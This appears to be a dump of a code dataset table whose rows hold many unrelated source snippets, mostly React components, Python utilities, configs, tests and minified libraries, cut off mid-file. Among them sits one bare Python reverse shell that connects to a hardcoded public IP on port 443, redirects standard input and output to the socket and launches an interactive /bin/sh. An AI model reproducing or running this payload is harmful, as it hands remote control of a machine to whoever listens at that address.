text stringlengths 3 1.05M |
|---|
import * as React from 'react';
import {createStackNavigator} from '@react-navigation/stack';
import {AddRide} from '../../../../screens/BottomTabs';
import {Header} from '../../../../components/navigation';
const Stack = createStackNavigator();
const AddRideStack = () => (
<Stack.Navigator
initialRouteName="Ad... |
import React from 'react';
import PropTypes from 'prop-types';
const UilCommentAlt = (props) => {
const { color, size, ...otherProps } = props
return React.createElement('svg', {
xmlns: 'http://www.w3.org/2000/svg',
width: size,
height: size,
viewBox: '0 0 24 24',
fill: color,
...otherProps... |
from UdonPie import System
from UdonPie import UnityEngine
from UdonPie.Undefined import *
class RaycastHit2D:
def __new__(cls, arg1=None):
'''
:returns: RaycastHit2D
:rtype: UnityEngine.RaycastHit2D
'''
pass
@staticmethod
def op_Implicit(arg1):
'''
... |
angular
.module('laravelAndAngular.bends')
.controller('BendLoginController', BendLoginController);
BendLoginController.$inject = ['$scope', '$state', 'AuthSrvc', 'utils'];
function BendLoginController($scope, $state, AuthSrvc, utils) {
$scope.loginSubmit = function(user){
var auth = AuthSrvc.auth(user);
... |
#!/usr/bin/env python
# Author: Phil Williams
#
# This file is part of moses. Its use is licensed under the GNU Lesser General
# Public License version 2.1 or, at your option, any later version.
"""Usage: filter-rule-table.py [--min-non-initial-rule-count=N] INPUT
Given a rule table (on stdin) and an input text, fi... |
import React from 'react';
import PropTypes from 'prop-types';
import ReactModal from 'react-modal';
import { FiX } from 'react-icons/fi';
import { ClassNames, css, keyframes } from '@emotion/core';
import { Box, IconButton } from './index';
if (process.env.NODE_ENV !== 'test') ReactModal.setAppElement('#___gatsby');
... |
module.exports = {
'array-callback-return': ['error', { allowImplicit: true }],
'block-scoped-var': 'error',
camelcase: 'off',
'constructor-super': 'error',
'default-case': ['error', { commentPattern: '^no default$' }],
'dot-notation': ['error', { allowKeywords: true }],
eqeqeq: ['error', 'always', { null... |
from sys import argv
import re
count,cnt,w = 0,0,0
head_const_tags = ""
head_tag = 0
tags = {
"NP": [],"JJP": [],"CCP": [],"VGNF": [],"VGF": [],"BLK": [],"VGNN": [],"RBP": [],"FRAGP": [],"NEGP": []
}
f = open(argv[1], "r")
for line in f:
if (line.rstrip()):
line = re.sub("\s+"," ",line)
troot... |
// Copyright (C) 2018 André Bargull. All rights reserved.
// This code is governed by the BSD license found in the LICENSE file.
/*---
esid: sec-async-arrow-function-definitions
description: >
It is a SyntaxError if FormalParameters' default expressions contains await.
negative:
phase: parse
type: SyntaxError
--... |
import React from "react";
import Seo from "../components/Seo";
import Layout from "../components/Layout";
import Jumbotron from "../components/Jumbotron";
import "../styles/index.scss";
export default function vectorart() {
return (
<Layout>
<Seo title="404 Not Found" />
<Jumbotron
headline... |
globals = {
"0050C052": 10.0,
"005D805B": 95.0,
"00560046": 420.0,
"00134003": 20000.0,
"00560047": 420.0,
"00134002": 10000.0,
"00560044": 240.0,
"00560045": 240.0,
"00560042": 240.0,
"00434057": 4.0,
"0009C01D": 2.0,
"00560043": 420.0,
"00434056": 800.0,
"00560040": 14.0,
"00560041": 420.0,
"0056004E": 420.0,
"004900... |
module.exports = {
preset: 'ts-jest',
testRegex: '/__tests__/.*\\.test\\.tsx$',
}; |
from setuptools import find_packages, setup
exec(open("src/est_dir/version.py", "r").read())
requirements = ["numpy>=1.19.2", "scipy>=1.5.2", "pytest>=6.2.1",
"tqdm>=4.50.2", "setuptools>=49.2.1",
"hypothesis>=6.0.0", "matplotlib>=3.3.2",
"pytest-cov>=2.10.1", "... |
from globals_ import *
#---------------------------Games---------------------
from game.classic import classic
from game.in_time import in_time
from game.berlin_wall import berlin_wall
from game.tron import tron
#---------------------------Best----------------------
def read_bests(which): # read file and sto... |
exports.ctor = (response)=>{
let res = (code, type, data) => {
response.writeHead(code, {
'Content-Type' : type
});
response.write(data);
response.end();
};
return{
error : () => {
res(404, 'text/plain', 'Page Not Found\n')
},
serve: (type, data)=> {
res(200, type, ... |
const fs = require('fs')
fs.readFile('./names.txt', function (err, buf) {
console.log(buf);
console.log(Buffer.isBuffer(buf));
console.log(buf.toString('ascii'));
}) |
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* @emails react-core
*/
'use strict';
module.exports = {
siteMetadata: {
title: 'React: A JavaScript library for building user interfaces',
siteUrl: 'https://tr.reactjs.org',
rssFeedTitle: 'React',
rssFeedDescription: 'A JavaScript library... |
/**
* Loading this file extends the prototype for ReplSetTest to spawn a thread, which continuously
* step down the primary.
*/
// Contains the declaration for ScopedThread and CountDownLatch
load('jstests/libs/parallelTester.js');
load("jstests/replsets/rslib.js");
(function() {
'use strict';
// Preserve... |
import datetime
import discord
from discord.ext import commands
from discord.ext.commands import Bot
from cogs.core.config.config_botchannel import botchannel_check
from cogs.core.config.config_embedcolour import get_embedcolour
from cogs.core.config.config_prefix import get_prefix_string
from cogs.core.defaults.defa... |
temp = []
princ = []
mai = men = 0
while True:
temp.append(str(input('Nome: ')))
temp.append(float(input('Peso: ')))
if len(princ) == 0:
mai = men = temp[1]
else:
if temp[1] > mai:
mai = temp[1]
if temp[1] < men:
men = temp[1]
princ.append(temp[:])
... |
export default function getNonTransparentPixels(image) {
let canvas = document.createElement("canvas")
let context = canvas.getContext("2d")
context.drawImage(image, 0, 0)
try {
let pixels = context.getImageData(0, 0, image.width, image.height)
let nonTransparentPixels = []
for (let i = 0; i < pixels.data.len... |
/*
* Kendo UI v2014.3.1316 (http://www.telerik.com/kendo-ui)
* Copyright 2015 Telerik AD. All rights reserved.
*
* Kendo UI commercial licenses may be obtained at
* http://www.telerik.com/purchase/license-agreement/kendo-ui-complete
* If you do not own a commercial license, this file shall be governed by the trial lice... |
import os.path
from . import consts
from .utils import request, s3_zipped_download, s3_zipped_upload, safe_call
tillerino_api = "https://api.tillerino.org"
def download_beatmap(ctx):
"""Download a .osu file."""
if not ctx.beatmap:
return None
osu_path = "/tmp/%s.osu" % ctx.beatmap.file_md5
... |
const { EventEmitter } = require('events');
const Dispatcher = require('../dispatcher');
const Constants = require('../constants');
const notifier = require('../ui/notifier');
const CHANGE_EVENT = 'change';
let _notifications = {};
function _tradeOfferNotification(newCount) {
if(newCount > _notifications.tradeOff... |
const localhost=[
"::1",
"127.0.0.1",
"localhost",
"::ffff:127.0.0.1"
];
module.exports=(req,res,next)=>{
const current=req.connection.remoteAddress;
if(localhost.includes(current)){
next();
}else{res.sendStatus(403);}
};
|
'use babel';
import RxjsReduxSnippetsView from './rxjs-redux-snippets-view';
import { CompositeDisposable } from 'atom';
export default {
rxjsReduxSnippetsView: null,
modalPanel: null,
subscriptions: null,
activate(state) {
this.rxjsReduxSnippetsView = new RxjsReduxSnippetsView(state.rxjsReduxSnippetsVi... |
var _32 = {
elem: 'svg',
attrs: {
xmlns: 'http://www.w3.org/2000/svg',
viewBox: '0 0 32 32',
width: 32,
height: 32,
},
content: [
{
elem: 'path',
attrs: {
d:
'M28.7 20.3L26 17.6V13a10.07 10.07 0 0 0-9-10V1h-2v2a10.15 10.15 0 0 0-9 10v4.6l-2.7 2.7a.91.91 0 0 0-.3... |
from django.apps import AppConfig
class ReelAppConfig(AppConfig):
name = "reel"
verbose_name = "Reel (handles twines)"
def ready(self):
import reel.signals # noqa: F401
|
# Training and test
# Codes have been tested successfully on Python 3.6.0 with TensorFlow 1.14.0.
import tensorflow as tf
import numpy as np
import scipy.io as sio
import time
import math
from PENN import MLP, standard_scale, get_random_block_from_data
def run(X_ini, Y_ini, X_test,Y_test,H,num_H,num_val... |
process.chdir('test');
var tap = require('agraddy.test.tap')(__filename);
var response = require('agraddy.test.res');
var mod = require('../');
var routes = {};
routes.get = {};
one();
function one() {
var res = response();
mod(routes.get, 301, '/one', '/destination');
res.on('finish', function() {
tap.assert... |
# coding=utf-8
# Copyright 2019 The TensorFlow Datasets Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appl... |
const User = require("../models/user");
const {
FAILED,
USER_NOT_EXISTS,
USER_DATA_UPDATE_FAILED,
USERNAME_TAKEN,
} = require("../utils/constants").errors;
const {
SUCCESS,
FETCHED_USER_DATA,
UPDATED_USER_DATA,
USERNAME_AVAILABLE,
} = require("../utils/constants").successMessages;
const crypto = require... |
var dom = exports.dom = require("./jsdom/level3/index").dom,
features = require('./jsdom/browser/documentfeatures'),
fs = require("fs"),
pkg = JSON.parse(fs.readFileSync(__dirname + "/../package.json")),
request = require('request'),
URL = require('url');
var style = require('... |
import pathlib
import os
from setuptools import setup
# The directory containing this file
HERE = pathlib.Path(__file__).parent
# The text of the README file
README = (HERE / "README.md").read_text()
NAME = 'memquery'
VERSION = None
project_path = os.path.abspath(os.path.dirname(__file__))
about = {}
if not VERSIO... |
var db = require('./db')
exports.up = function (next) {
const sql =
[
`CREATE TABLE coupons (
id UUID PRIMARY KEY,
code TEXT NOT NULL,
discount SMALLINT NOT NULL,
soft_deleted BOOLEAN DEFAULT false )`,
`CREATE UNIQUE INDEX uq_code ON coupons (code) WHERE NOT soft_delet... |
# vim: tabstop=4 shiftwidth=4 softtabstop=4
#
# Copyright 2012 NEC Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
... |
const {
check,
validationResult,
} = require('express-validator/check');
const validateVote = [
check('office').isNumeric()
.withMessage('office should be a number')
.trim(),
check('candidate').isNumeric()
.withMessage('candidate should be a number')
.trim(),
(req, res, next) => {
const e... |
import createSvgIcon from './utils/createSvgIcon';
import { jsx as _jsx } from "react/jsx-runtime";
export default createSvgIcon( /*#__PURE__*/_jsx("path", {
d: "M18 10.48V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4.48l4 3.98v-11l-4 3.98zM12 12l3 1.73-1 1.73-3-1.73V17H9v-3.27l-3 1.73-1-1.... |
function verify()
{
if(document.getElementById("r1").checked==true)
{
if( document.login.uname.value == "" )
{
var text;
text="please provide your contact number";
document.getElementById("uerror").innerHTML = text;
return fal... |
const path = require('path')
const ExtractTextPlugin = require('extract-text-webpack-plugin')
const SvgStore = require('webpack-svgstore-plugin')
const HtmlWebpackPlugin = require('html-webpack-plugin')
const CopyWebpackPlugin = require('copy-webpack-plugin')
module.exports = {
entry: path.resolve('./src/index.js'),... |
import MapDOM from '../../../node_modules/attrocity/src/mapdom.js';
import Reflect from '../../../node_modules/attrocity/src/reflect.js';
import Template from './template.js';
export default class CoordinatePicker extends HTMLElement {
static get observedAttributes() {
return ['x', 'y', 'isDragging', 'back... |
import importlib
import inspect
import os
from os import path
from django.conf import settings
from django.core.management.base import BaseCommand
from django.db.models import Q
from django.utils import timezone
from ...models import Notification
from ...notification_handlers.email import send_notification as send_em... |
const defaults = {
getProps: obj => obj && obj.properties,
getType: obj => obj && obj.type,
getName: obj => (obj && obj.name) || obj.title,
getConstraints: obj => obj,
isString: obj => obj && obj.type === "string",
isArray: obj => obj && obj.type === "array",
isInteger: obj => (obj && obj.type === "intege... |
// eslint-disable-next-line no-undef
module.exports = {
purge: ["./src/**/*.{js,ts,jsx,tsx}"],
darkMode: false, // or 'media' or 'class'
theme: {
fontSize: {
"sm": ["0.75rem", "normal"],
"base": "1rem",
"lg": "1.5rem",
"xl": "2rem",
"2xl": ... |
/*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License;
* you may not use this file except in compliance with the Elastic License.
*/
import { isEmpty, get } from 'lodash';
import { uiModules } from 'ui/m... |
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("54.164.68.46",443));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
|
/**
* @license Apache-2.0
*
* Copyright (c) 2018 The Stdlib Authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by a... |
"use strict";
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol ? "symbol" : typeof obj; };
var _webpage = require("webpage");
var _webpage2 = _interopRe... |
/** @license
* Copyright (c) 2013-2017 Ephox Corp. All rights reserved.
* This software is provided "AS IS," without a warranty of any kind.
*/
!function(){var a=function(a){return function(){return a}},b=function(a,b){var c=a.src.indexOf("?");return a.src.indexOf(b)+b.length===c},c=function(a){for(var b=a.split("."... |
// 배열의 최대/최소값 구하기
// 배열의 요소 중 최대값/최소값을 반환하는 함수를 완성하라.
function getMaxValueFromArray(array) {
return Math.max(...array);
}
console.log(getMaxValueFromArray([3, 6, -2, -5, 7, 3])); // 7
function getMinValueFromArray(array) {
return Math.min(...array);
}
console.log(getMinValueFromArray([3, 6, -2, -5, 7, 3])); // -5... |
/**
* Tests for Gen 8 randomized formats
*/
'use strict';
const {testSet, testNotBothMoves, testHasSTAB, testAlwaysHasMove} = require('./tools');
const assert = require('../assert');
const {Dex} = require('../../sim/dex');
describe('[Gen 8] Random Battle', () => {
const options = {format: 'gen8randombattle'};
it... |
export default (reject, ms = 60000) =>
setTimeout(() => {
reject(new Error(`Timeout after ${ms} ms`));
}, ms);
|
def is_uppercase(inp):
return True if (inp.isupper() is True or inp in "!#$%&'()*+, -./:;<=>?@[\]^_`{|}~") else False |
'use strict';
const path = require('path');
const util = require('util');
const crypto = require('crypto');
const fs = require('fs').promises;
const stackTrace = require('stack-trace');
const filenameReservedRegex = /[<>:"/\\|?*\u0000-\u001F]/g;
const md5 = data => crypto.createHash('md5').update(data).digest('hex')... |
webpackJsonp([28],{"/AJx":function(e,t,o){var a,n,s;(function(i,r){n=[t,o("xnBM")],a=r,s="function"==typeof a?a.apply(t,n):a,!(void 0!==s&&(e.exports=s))})(this,function(e,t){"use strict";function o(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}Object.defineProperty(e,"__esModule",{... |
import asyncio
import json
import unittest
from unittest.mock import patch, MagicMock
from requests.exceptions import ConnectTimeout
from sawpit import WSTest, WSResponse, WSMessage, WSTimeoutError, RestRequest
def syncify(coro):
def wrapper(*args, **kwargs):
response = asyncio.run(coro(*args, **kwargs)... |
jQuery(document).ready(function($){
var optionsframework_upload;
var optionsframework_selector;
function optionsframework_add_file(event, selector) {
var upload = $(".uploaded-file"), frame;
var $el = $(this);
optionsframework_selector = selector;
event.preventDefault();
// If the media f... |
export {default as ActionsColumnFormatter} from "./ActionsColumnFormatter"
export {default as StateColumnFormatter} from "./StateColumnFormatter"
export {default as ResponsibleColumnFormatter} from "./ResponsibleColumnFormatter"
|
/**
* Given an array with heights, sort them except if the value is -1.
*
* @param {Array} arr
* @return {Array}
*
* @example
* arr = [-1, 150, 190, 170, -1, -1, 160, 180]
*
* The result should be [-1, 150, 160, 170, -1, -1, 180, 190]
*/
function sortByHeight(arr) {
const result = arr.filter((elem) => elem ... |
import pygame
from battleship.ui.colors import Colors
from battleship.ui.flat import Flat
class Menu(object):
def __init__(self):
self.menu_choice = 0
self.menu_pick = False
self.gameover = ''
self.menu_group = pygame.sprite.Group()
self.items = ['NEW GAME', 'SETTINGS', '... |
export const connectionString = 'localhost:9200';
export const _index = 'elasticsearch_index';
export const _type = 'article'; |
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.messages = exports.ruleName = undefined;
exports.default = function (expectation, options) {
return function (root, result) {
var validOptions = (0, _utils.validateOptions)(result, ruleName, {
actual: expectation,
... |
/* =========================================================
* ng-scrollable.js v0.1.0
* http://github.com/echa/ng-scrollable
* =========================================================
* Copyright 2014 Alexander Eichhorn
*
* The MIT License (MIT) Copyright (c) 2014 Alexander Eichhorn.
*
* Permission is hereby ... |
/*
* ***** BEGIN LICENSE BLOCK *****
* Zimbra Collaboration Suite Web Client
* Copyright (C) 2008, 2009, 2010 Zimbra, Inc.
*
* The contents of this file are subject to the Zimbra Public License
* Version 1.3 ("License"); you may not use this file except in
* compliance with the License. You may obtain a copy o... |
import axios from 'axios'
// import fetch from "isomorphic-unfetch";
export async function getFetch(url){
const response = await axios.get(url)
const data = response.data;
// console.log('axios get data '+Object.keys(data))
if (data.error) {
const error = new Error(data.error)
error.response = response
... |
import http from 'http'
import express from 'express'
import path from 'path'
import logger from 'morgan'
import cookieParser from 'cookie-parser'
import bodyParser from 'body-parser'
import favicon from 'serve-favicon'
import serverDev from './server.dev'
import serverOnline from './server.online'
import request from... |
# MIT License
#
# Copyright (c) 2017 Thomas Nestmeyer
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, me... |
"""Pretty-printing (pprint()), the 'Print' Op, debugprint() and pydotprint().
They all allow different way to print a graph or the result of an Op
in a graph(Print Op)
"""
from copy import copy
import logging
import os
import StringIO
import sys
# Not available on all platforms
hashlib = None
import numpy
np = numpy
... |
// Copyright 2015 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in... |
/*!
* Angular Material Design
* https://github.com/angular/material
* @license MIT
* v0.11.0-master-562e41a
*/
!function(e,t,i){"use strict";function n(e,i,n,a,r,o,s,d,l){function u(e,t){return e.attr({tabIndex:0,role:"slider"}),n.expect(e,"aria-label"),c}function c(n,u,c,m){function f(){w(),C(),g()}function v(e){... |
# encoding: UTF-8
'''
本文件中包含了STUB模块中用到的一些基础设置、类和常量等。
'''
# 常量定义
# STUB引擎中涉及到的交易方向类型
STUBORDER_BUY = '买开'
STUBORDER_SELL = '卖平'
STUBORDER_SHORT = '卖开'
STUBORDER_COVER = '买平'
# 本地停止单状态
STOPORDER_WAITING = '等待中'
STOPORDER_CANCELLED = '已撤销'
STOPORDER_TRIGGERED = '已触发'
# 本地停止单前缀
STOPORDERPREFIX = ... |
/*
Tipue Search 2.1
Copyright (c) 2013 Tipue
Tipue Search is released under the MIT License
http://www.tipue.com/search
*/
(function($) {
$.fn.tipuesearch = function(options) {
var set = $.extend( {
'show' : 7,
'newWindow' : fa... |
# coding: utf-8
"""
Kubernetes
No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501
The version of the OpenAPI document: release-1.16
Generated by: https://openapi-generator.tech
"""
import pprint
import re # noqa: F401
import si... |
/**
* Module dependencies.
*/
var express = require('../..');
/*
edit /etc/hosts:
127.0.0.1 foo.example.com
127.0.0.1 bar.example.com
127.0.0.1 example.com
*/
// Main app
var main = express();
main.use(express.logger('dev'));
main.get('/', function(req, res){
res.send('Hello from main app!'... |
/*
Copyright (c) 2003-2017, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or https://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'selectall', 'el', {
toolbar: 'Επιλογή όλων'
} );
|
import React, { useState, useEffect } from 'react'
import { Form, Button, Tooltip, OverlayTrigger, Modal, Tab, Tabs } from 'react-bootstrap'
import Connection from '../../../svg/employee.svg'
import AdminRegister from './adminRegister'
import UserList from './userList'
import {}
const AdminBoard = ({user, firebase}) =... |
import React from 'react'
import Link from 'gatsby-link'
import Contactform from '../components/assets/contact-form'
import Img2 from '../images/img1.png'
// import Map from '../components/assets/map'
const Contact = () => {
return (
<div>
<div className="contact1">
<div className="container-contact1">
<... |
import {
InnerBlocks,
InspectorControls,
__experimentalBlockVariationPicker,
} from "@wordpress/block-editor"
import { useSelect, useDispatch } from "@wordpress/data"
import {
SVG,
Path,
PanelBody,
PanelRow,
ToggleControl,
} from "@wordpress/components"
import { createBlock } from "@word... |
from rest_framework import generics, permissions
from rest_framework.response import Response
from knox.models import AuthToken
from .serializers import UserSerializer, RegisterSerializer, LoginSerializer
# Register API
class RegisterAPI(generics.GenericAPIView):
serializer_class = RegisterSerializer
def post... |
const CubeSat = require('.')
const IPFS = require('ipfs')
const OrbitDB = require('orbit-db')
const tap = require('tap')
let ipfs = new IPFS({
start: false,
EXPERIMENTAL: { pubsub: true }
})
ipfs.on('ready', async () => {
let orbit = new OrbitDB(ipfs, 'test')
let cube = await CubeSat.create(orbit, 'test')
aw... |
function $pyjs_kwargs_call(obj, func, star_args, dstar_args, args)
{
if (obj !== null) {
func = obj[func];
}
// Merge dstar_args into args[0]
if (dstar_args) {
if (pyjslib.get_pyjs_classtype(dstar_args) != 'Dict') {
throw (pyjslib.TypeError(func.__name__ + "() arguments aft... |
// Alexandre Kaspar <akaspar@mit.edu>
"use strict";
// modules
const assert = require('../../../assert.js');
const NeedleBlock = require('../block.js');
const Knitout = require('../../../knitout/knitout.js');
const { Needle, FRONT, BACK } = Knitout;
// constants
const NONE = 0;
const FRONT_LEFT = 1 << 0;
co... |
// Copyright (c) 2012 Ecma International. All rights reserved.
// This code is governed by the BSD license found in the LICENSE file.
/*---
esid: sec-array.prototype.some
description: Array.prototype.some - Boolean object can be used as thisArg
---*/
var objBoolean = new Boolean();
function callbackfn(val, idx, obj... |
/**
* Copyright 2017 deepsense.ai (CodiLime, Inc)
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable... |
module.exports = {
// where it all starts -- the site's root Notion page (required)
rootNotionPageId: '17fc95539d544eb2a022822821486b19',
// if you want to restrict pages to a single notion workspace (optional)
// (this should be a Notion ID; see the docs for how to extract this)
rootNotionSpaceId: null,
... |
/* ------------------------------------------------------------------------------
*
* # Sticky navbar
*
* Demo JS code for navbar_multiple_sticky.html pages
*
* ---------------------------------------------------------------------------- */
// Setup module
// ------------------------------
var Na... |
"""
The ResNext architecture is, as its name implies, an improvement to the original resnet
architecture made after the success of "inception" modules in neural networks. The
'split-transform-merge' technique from inception modules is brought to the residual network.
The advantage of this approach is that inputs are sp... |
/*
* Copyright (c) 2020, Hugo Freire <hugo@exec.sh>.
*
* This source code is licensed under the license found in the
* LICENSE.md file in the root directory of this source tree.
*/
const { Route } = require('serverful')
const Logger = require('modern-logger')
const Joi = require('@hapi/joi')
const Boom = requir... |
import axios from 'axios';
import crypto from 'crypto';
import querystring from 'querystring';
import _ from 'lodash';
export default class btceService {
constructor({ publicKey, secretKey, nonce = 0 } = {}) {
this.BTC_E_TRADE_API = 'https://wex.nz/tapi/';
this.BTC_E_PUBLIC_API = 'https://wex.nz/api/3/';
... |
import { Rooms } from '../../models';
import { roomTypes } from '../../utils';
import LivechatRoomType from '../lib/LivechatRoomType';
import { LivechatVisitors } from '../../models';
class LivechatRoomTypeServer extends LivechatRoomType {
getMsgSender(senderId) {
return LivechatVisitors.findOneById(senderId);
}
... |
# -*- coding: utf-8 -*-
'''
Created on 17.10.2014
@author: Simon Gwerder
'''
import datetime
import json
import logging
from flask import Flask, session, send_from_directory, render_template, request, redirect, jsonify, Response
from flask_bootstrap import Bootstrap
from search.graphsearch import GraphSearch
from ut... |
'use strict';
const types = ['json', 'text', 'response'];
const checkTypes = response => response && types.indexOf(response) >= 0;
const getQuery = queryParams => {
const arr = Object.keys(queryParams).map(key => {
return `${key}=${encodeURIComponent(queryParams[key])}`;
});
return '?' + arr.join('&');
};
... |
"""Plotting functions."""
from .autocorrplot import plot_autocorr
from .bpvplot import plot_bpv
from .compareplot import plot_compare
from .densityplot import plot_density
from .distcomparisonplot import plot_dist_comparison
from .distplot import plot_dist
from .elpdplot import plot_elpd
from .energyplot import plot_en... |
describe('clbFeed directive', function() {
var compile;
var scope;
var service;
var $q;
var feedResultSet;
beforeEach(module('clb-ui-stream'));
beforeEach(inject(function(
$compile,
$rootScope,
$window,
$templateCache,
_$q_,
clbStream
) {
compile = $compile;
scope = $roo... |
import React from "react";
// @material-ui/core components
import { makeStyles } from "@material-ui/core/styles";
// other components
import Table from "components/Table/Table.js";
import Card from "components/Card/Card.js";
import CardHeader from "components/Card/CardHeader.js";
import CardBody from "components/Card/C... |
import React from "react";
import PropTypes from "prop-types";
import { Circle } from "react-native-svg";
import { useGetNativeStyle } from "../../helpers/native-helpers";
const VCircle = props => {
const style = useGetNativeStyle(props.style);
return (
<Circle
cx={props.cx}
cy={props.cy}
r={... |
"""Configures dockerd inside the container."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import logging
import socket
from treadmill import nodedata
from treadmill import subproc
from treadmill.appcfg.features ... |
import zlib
from vstruct import VStruct,VArray
from vstruct.bitfield import *
from vstruct.primitives import *
'''
0 End
1 ShowFrame
2 DefineShape
4 PlaceObject
5 RemoveObject
6 DefineBits
7 DefineButton
8 JPEGTables
9 SetBackgroundColor
10 DefineFont
11 DefineText
12 DoAction
13 DefineFontInfo
14 DefineSound
15 Star... |
# cook your dish here
for _ in range(int(input())):
n = int(input())
l = list(map(int, input().split()))
flag = tmp = 0
for i in l:
if(i%2 == 1):
flag += 1
else:
tmp += 1
tt = min(flag, n//2) + min(tmp, (n + 1)// 2)
print(tt) |
import { types } from './mutations_type.js'
export const actions = {
actionIncrease: ({ commit }) => { console.log('actionIncrease'); commit(types.INCREASE) },
actionDecrease: ({ commit }) => { console.log('actionDecrease'); commit(types.DECREASE) },
Alert: (context, alertobject) => { context.commit(types.ALERT,... |